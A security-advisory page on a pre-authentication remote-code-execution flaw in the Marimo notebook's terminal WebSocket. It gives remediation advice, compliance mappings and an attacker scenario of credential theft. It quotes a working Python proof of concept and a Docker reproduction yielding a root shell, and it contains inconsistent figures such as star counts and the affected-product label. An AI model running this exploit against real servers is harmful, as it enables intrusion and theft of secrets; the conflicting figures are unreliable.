GHSA-2679-6mx9-h9xc: Marimo: pre-auth RCE via terminal WebSocket

GHSA-2679-6mx9-h9xc CRITICAL
Published April 8, 2026
CISO Take

Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.

Sources: GitHub Advisory ATLAS OpenSSF

What is the risk?

Critical. The attack requires zero authentication, zero AI/ML knowledge, and the PoC is publicly available in the advisory itself — this is script-kiddie territory. The auth middleware uses Starlette's passive UnauthenticatedUser pattern, meaning auth is architecturally enforced at the endpoint level; the terminal endpoint simply has no such enforcement. In shared AI development environments (JupyterHub-style, cloud notebooks, internal MLOps platforms), a single exposed port is full compromise. Default root execution in Docker amplifies blast radius to container escape pre-conditions. OpenSSF Scorecard of 4.8/10 and 2 prior CVEs in the same package suggest a pattern of security debt.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter Notebook pip < 0.23.0 0.23.0
13.2K OpenSSF 5.8 3.0K dependents Pushed 8d ago 64% patched ~296d to patch Full package profile →

Do you use Jupyter Notebook? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

5 steps
  1. PATCH

    Upgrade to marimo >= 0.23.0 immediately — this release adds validate_auth() to the /terminal/ws endpoint.

  2. NETWORK

    If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet.

  3. RUNTIME

    Run Marimo containers as a non-root user (--user 1000:1000 in Docker); this limits post-exploitation impact.

  4. DETECT

    Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container.

  5. ROTATE

    If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - Information security in AI system lifecycle
NIST AI RMF
GOVERN 1.7 - Processes for identifying and mitigating AI risks MANAGE 2.2 - Mechanisms to address AI system risks
OWASP LLM Top 10
LLM03 - Supply Chain

Frequently Asked Questions

What is GHSA-2679-6mx9-h9xc?

Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.

Is GHSA-2679-6mx9-h9xc actively exploited?

No confirmed active exploitation of GHSA-2679-6mx9-h9xc has been reported, but organizations should still patch proactively.

How to fix GHSA-2679-6mx9-h9xc?

1. PATCH: Upgrade to marimo >= 0.23.0 immediately — this release adds `validate_auth()` to the `/terminal/ws` endpoint. 2. NETWORK: If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet. 3. RUNTIME: Run Marimo containers as a non-root user (`--user 1000:1000` in Docker); this limits post-exploitation impact. 4. DETECT: Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container. 5. ROTATE: If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.

What systems are affected by GHSA-2679-6mx9-h9xc?

This vulnerability affects the following AI/ML architecture patterns: AI development notebooks, MLOps pipelines, model experimentation environments, collaborative data science platforms, cloud-hosted notebook infrastructure.

What is the CVSS score for GHSA-2679-6mx9-h9xc?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

AI development notebooksMLOps pipelinesmodel experimentation environmentscollaborative data science platformscloud-hosted notebook infrastructure

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0055 Unsecured Credentials
AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.6
NIST AI RMF: GOVERN 1.7, MANAGE 2.2
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 (current latest) ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Exploitation Scenario

An adversary scans for port 2718 (Marimo default) across cloud environments or internal AI development networks. They connect to `ws://TARGET:2718/terminal/ws` with a standard WebSocket client — no auth header, no token, no prior session. The server accepts the connection and forks a PTY process. The attacker now has an interactive root shell inside the Marimo container. They enumerate environment variables to harvest LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), database connection strings, and cloud credentials. In a typical AI development setup, they pivot to the connected PostgreSQL database containing training data, exfiltrate model weights from mounted volumes, or use the harvested cloud credentials to access S3 buckets or GCS with datasets. If the container runs with privileged mode or mounted Docker socket (common in MLOps setups), full host compromise follows.

Weaknesses (CWE)

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

Timeline

Published
April 8, 2026
Last Modified
April 9, 2026
First Seen
April 9, 2026

Related Vulnerabilities